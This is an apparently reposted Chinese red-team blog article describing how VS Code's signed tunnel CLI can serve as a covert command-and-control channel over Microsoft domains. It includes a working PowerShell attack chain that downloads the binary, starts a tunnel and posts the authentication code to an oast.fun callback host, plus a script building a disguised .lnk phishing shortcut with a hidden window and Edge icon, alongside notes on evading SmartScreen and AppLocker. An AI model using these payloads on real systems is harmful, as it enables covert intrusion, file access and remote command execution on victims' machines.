VScode的红队使用方式

admin 2023年10月12日22:37:48评论102 views字数 8985阅读29分57秒阅读模式

写在前面


    团队师傅看到外网一篇文章说VSCode可以建立稳定的远程连接隧道,那么攻击者可以做什么利用呢(文章链接见底下参考。一个思路是控下目标机器后,可以利用VScode(如果没有的话可以上传微软签名的exe安装,见具体操作)作为稳定且隐蔽的C2隧道。另一个思路是针对VSCode用户钓鱼,直接远程发送VSCode的远程连接代码。


目录

0x01 TL;DR;简介0x02 前言0x03 具体操作0x04 注意点0x05 杂项0x06 参考

VScode的红队使用方式




TL;DR;简介

MS is offering a signed binary (code.exe), which will establish a Command&Control channel via an official Microsoft domain https://vscode.dev. The C2 communication itself is going to https://global.rel.tunnels.api.visualstudio.com over WebSockets. An attacker only needs an Github account.

微软提供了一个经过签名的二进制文件(code.exe),它通过官方的Microsoft域名https://vscode.dev建立一个命令与控制通道。C2通信本身将通过WebSockets连接到https://global.rel.tunnels.api.visualstudio.com。而攻击者只需要一个Github账户。


前言

Recently I browsed some MS documentation and stumbled across this two pages. 

https://code.visualstudio.com/docs/remote/tunnels https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

最近我浏览了一些微软的文档,并偶然发现了这两个页面。

https://code.visualstudio.com/docs/remote/tunnelshttps://code.visualstudio.com/blogs/2022/12/07/remote-even-better

VScode的红队使用方式

VSCode tunnels Documentation

VSCode隧道文档

So what do we have here? VSCode is capable of establishing a connection to a remote system. Okay fine, as remote debuggers are not new, not so exiting, but things will get better.


那么我们在这里有什么呢?VSCode能够与远程系统建立连接。好的,没问题,因为远程调试器并不新鲜,也不是很令人兴奋,但事情会变得更好。


At the end of the page, something is making things a little bit more exiting. Using the 'code' CLI

Okay, there is a portable binary for this, nice.

This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel//. You can open this URL on a client of your choosing.

Okay, there is MS domain, hosting the C2 channel, things are getting better. The VSCode binary is also proxyaware and portable.

在页面的末尾,有一些东西使事情变得更加令人兴奋。使用'code'命令行界面(CLI)。好的,这里有一个便携二进制文件,很好。

这个命令行界面将输出一个与此远程机器相关联的vscode.dev URL,例如https://vscode.dev/tunnel/<machine_name>/<folder_name>。您可以在您选择的客户端上打开此URL

好的,有一个MS域名,托管C2通道,情况正在变得更好。VSCode二进制文件也具有代理功能并且很方便。

具体操作

If we get code execution on the client and here we just assume we have it, we can bring in the portable version of VSCode, the code CLI. If a VSCode is allready installed, we can just stick to the installed version, doesnt’t matter. Lets dive in the steps.

如果我们在客户端上成功执行了代码,这里我们只是假设已经成功执行,我们可以使用可移植版的VSCode,即代码命令行界面(CLI)。如果已经安装了VSCode,我们可以继续使用已安装的版本,这并不重要。让我们深入了解具体步骤。

Prepare the client 客户端准备

1、获取客户端

Get the binary on the client from here: https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64

从这里获取客户端的二进制文件:

https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64

As the binary is signed from Microsoft, we do not need to take care of Mark-of-the-Web, as it will get ignorred and also we will Bypass Smartscreen. If combined with some tricks seen later, we will also bypass Applocker and

Powershell Constrained Language Mode if in default configuration.

由于二进制文件是由微软签名的,我们不需要担心"Mark-of-the-Web",因为它会被忽略,而且我们还将绕过Windows Smartscreen。如果结合后面提到的一些技巧,我们还可以绕过默认配置下的ApplockerPowerShell受限语言模式。

名词解释 Mark-of-the-Web:

"Mark of the Web"MOTW)是Windows操作系统的一项安全特性,用于标识从Internet下载的文件以及它们的来源。这个标记帮助Windows系统在执行这些文件时应用额外的安全策略,以确保安全性。

当文件被标记为"Mark of the Web"时,Windows可能会在打开文件之前显示警告或提示,提醒用户文件的来源是Internet,并可能会要求确认执行文件。这是为了防止潜在的恶意文件或不信任来源的文件对系统造成威胁。

在某些情况下,特定的应用程序可能需要清除或处理"Mark of the Web"标记,以确保它们的文件能够在不触发警告的情况下执行。然而,清除这个标记可能会带来一定的安全风险,因为它可以绕过系统对文件来源的安全检查。总之,"Mark of the Web"是Windows系统的一项安全措施,用于提醒用户文件的来源并帮助防止潜在的安全风险。


名词解释 Windows Smartscreen:

Windows SmartscreenWindows 智能屏幕)是微软公司开发的一项安全功能,旨在帮助保护Windows操作系统用户免受潜在的恶意软件和不安全的应用程序的威胁。它主要通过以下方式提供安全保护:

1、应用程序和文件识别:对下载的应用程序和文件进行识别和评估,以确定它们的来源和信任级别。如果一个应用程序或文件被识别为潜在的威胁,Windows Smartscreen会警告用户,并建议他们不要运行该应用程序或打开该文件。

2、在线查找:将文件的信息与微软的云数据库进行比对,以检查文件是否被其他用户报告为恶意或不受信任。这有助于及早发现新的威胁并及时向用户发出警告。

3、应用程序认证:对未经数字签名的应用程序进行验证,以确保它们的来源是可信的。如果应用程序没有有效的数字签名,Windows Smartscreen可能会警告用户,并要求他们慎重考虑是否运行该应用程序。总之,Windows Smartscreen是Windows操作系统的一项重要安全功能,旨在帮助用户识别和防范恶意软件和不受信任的应用程序。它通过对应用程序和文件的来源进行验证和评估,以及与云数据库的比对来提供额外的安全保护。用户通常应该遵循Windows Smartscreen的建议,特别是在面对未知来源的应用程序和文件时。

名词解释 AppLocker:

AppLockerWindows操作系统中的一项安全功能,用于帮助组织管理和控制哪些应用程序可以在其计算机上运行。它提供了一种策略管理方法,使管理员能够定义规则,限制哪些应用程序可以被执行,以增强系统的安全性。以下是AppLocker的一些关键特点和功能:


应用程序白名单:允许管理员创建一个应用程序白名单,其中包含允许在计算机上执行的已批准应用程序的列表。这可以帮助防止未经授权的应用程序运行,从而降低了潜在的安全风险。

规则基础的控制:管理员可以创建规则,这些规则可以基于文件属性(例如文件路径、文件哈希值)或数字签名来限制应用程序的执行。这使得可以更加精确地控制哪些应用程序可以运行。


可配置性:AppLocker允许管理员根据组织的安全策略自定义规则,并可以灵活地管理这些规则。这意味着可以根据需要对应用程序控制进行调整,以满足不同的安全需求。监视和审计:AppLocker还提供了监视和审计功能,以跟踪哪些应用程序尝试执行,无论是成功还是失败。这有助于组织识别潜在的安全问题并采取适当的措施。总的来说,AppLocker是Windows操作系统中的一个重要安全工具,可用于帮助组织控制和管理在其计算机上运行的应用程序,以增强系统的安全性和符合性。它适用于企业和组织,特别是那些需要强大应用程序控制的环境。

二进制文件的证书如下,证书由Microsoft签名:

VScode的红队使用方式

启动客户端

Start the binary on the client.

在客户端上启动这个二进制文件。

PS C:temp> .code.exe tunnel** Visual Studio Code Server** By using the software, you agree to* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).*✔ Do you accept the terms in the License Agreement (Y/n)? · yesTo grant access to the server, please log into https://github.com/login/device and use code 71BC-3082...


输入code码并启动tunnel

We follow the instrctions and open the provided url on our attacker system. We will see a device code authentication, like known from Azure.

我们按照指示在攻击者系统上打开提供的URL。我们将看到一个设备代码认证界面,就像在Azure中所知道的那样。(输入上面给到的code 71BC-XXXX)

VScode的红队使用方式

在那之后,可以建立代码隧道。

PS C:temp> .code.exe tunnel** Visual Studio Code Server** By using the software, you agree to* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).*Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp


Connect via Browser or VSCode 通过浏览器或VSCode进行连接


So we do as told and open the page in a browser on our attacker machine. We get a nice Working Project on the victims machine. Over the URL, we can control the path, meaning if we just use C: we get access to all files on the

system, in the limits of the user permissions. So open https://vscode.dev/tunnel/itsmeC2/C: and add the C: to the workspace.

现在我们按照指示在攻击者的计算机上的浏览器中打开页面。

在受害者的计算机上,我们得到了一个工作中的项目。通过URL,我们可以控制路径,这意味着如果我们使用C:,我们可以访问系统中所有文件,但受限于用户权限。因此,打开https://vscode.dev/tunnel/itsmeC2/C: 并将C: 添加到工作区。

VScode的红队使用方式


File Browser on the target

Nice, we can browse, read and edit all the files remotly. Filebrowsing is nice, but what about Command Execution? We just say: Menue -> Terminal -> New Terminal

很好,我们可以远程浏览、阅读和编辑所有文件。

Filebrowser功能很棒,但是命令执行功能呢?我们只需要执行以下步骤:Menue -> Terminal -> New Terminal

VScode的红队使用方式


Remote Powershell session

and we get a nice Powershell remote session on the client.

然后我们就能从客户端获取到一个很棒的powershell远程会话

The Remoteshell has everything we want 1、Access to the history 2、Syntax highlighting 3、Tab completion 4、Job Control - Meaning interactive

远程Shell具备我们所需的一切功能:

1、访问历史记录2、语法高亮3、制表符补全4、作业控制 - 即交互式操作

这是一个非常响应迅速且易于使用的远程PowerShell会话。除了PowerShell会话之外,还有一些其他可能性,比如运行任务,运行和调试文件,或者进行本地端口转发。一个很好的功能是在远程主机上安装扩展。例如,现在我们可以运行一些Python脚本,如果Python已经安装在主机上的话。需要注意的一点是,我们需要将文件保存到磁盘上,但可能有一些绕过的方法。

VScode的红队使用方式

Connectiing via VSCode Desktop is straight forward, you just need the extension as stated in the official MS Blogpost.

通过VSCode桌面版本连接是非常简单的,只需要按照官方微软博客文章中提到的扩展进行设置即可。

注意点

注意点一

这边在实际使用功能的过程中会出现一些问题,不要从浏览器中直接打开https://vscode.dev/tunnel/该地址,否则会报错(Visual Studio Code Fatal Error, Please check Developer Tools.

VScode的红队使用方式

在visual studio code中打开隧道

注意点二:

在实际操作的过程中,使用该方式还需要选择以下机器名,否则隧道中找不到可供远程的调试器。(该问题会在后面解决)

VScode的红队使用方式

该步骤复现成功截图

VScode的红队使用方式

Build an attack chain 构建一个攻击链

我们尝试构建一个完整的攻击链。首先,我们应该检查是否可以摆脱启动隧道的交互部分,并在命令行上提供参数。我们可以提供一个名称来获取我们会话的固定实例名称:.code.exe tunnel --name itsmeC2V2然后是身份验证的问题。根据 https://github.com/microsoft/vscode/issues/170013 的情况,我们必须使用GitHub OAuth刷新令牌进行身份验证。

我没有成功地使GitHub OAuth令牌身份验证起作用,因此需要通过将设备代码发布到像 https://app.interactsh.com/#/ 这样的服务来进行额外的步骤。一个非常基本的攻击链,没有混淆,可能看起来像这样。

cd C:tmp #change folderiwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip #download binaryExpand-Archive vscode.zip #Expand the zipcd vscode.code.exe tunnel user logout #logout previous user, if existingStart-Sleep 3Start-Process -FilePath .code.exe -ArgumentList "tunnel --name Ooooopsie2000" -RedirectStandardOutput .output.txt #start tunnel and redirect the output to a txt filStart-Sleep 3iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun -Method Post -Body (Get-Content .output.txt) #Post output to interact.sh for the code


我们可以创建一个快捷方式来启动这个攻击链。新建powershell,并运行(记得修改oast.fun地址,访问 https://app.interactsh.com/ 获取)

#Payload$EXEPath = "$env:windirSystem32WindowsPowerShellv1.0powershell.exe"$pay = 'cd C:tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .code.exe -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput .output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .output.txt)'$arguments = " -nop -c $pay"#lnk file$LNKName = 123$obj = New-Object -ComObject WScript.Shell$link = $obj.CreateShortcut((Get-Location).Path + "" + $LNKName + ".lnk")$link.WindowStyle = '7'$link.TargetPath = $EXEPath$link.IconLocation = "C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe,13"$link.Arguments = $arguments$link.Save()


运行后会生成一个lnk的文件

VScode的红队使用方式

受害机器点击lnk文件即可,上线截图

VScode的红队使用方式

杂项

值得一提的是,code只要第一次生成就不会改变(经过实际测试,在未重启的情况下code是不会变的)

参考

https://badoption.eu/blog/2023/01/31/code_c2.html



写在最后

     本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

原文始发于微信公众号(云下信安):VScode的红队使用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月12日22:37:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VScode的红队使用方式https://cn-sec.com/archives/2106542.html

发表评论

匿名网友 填写信息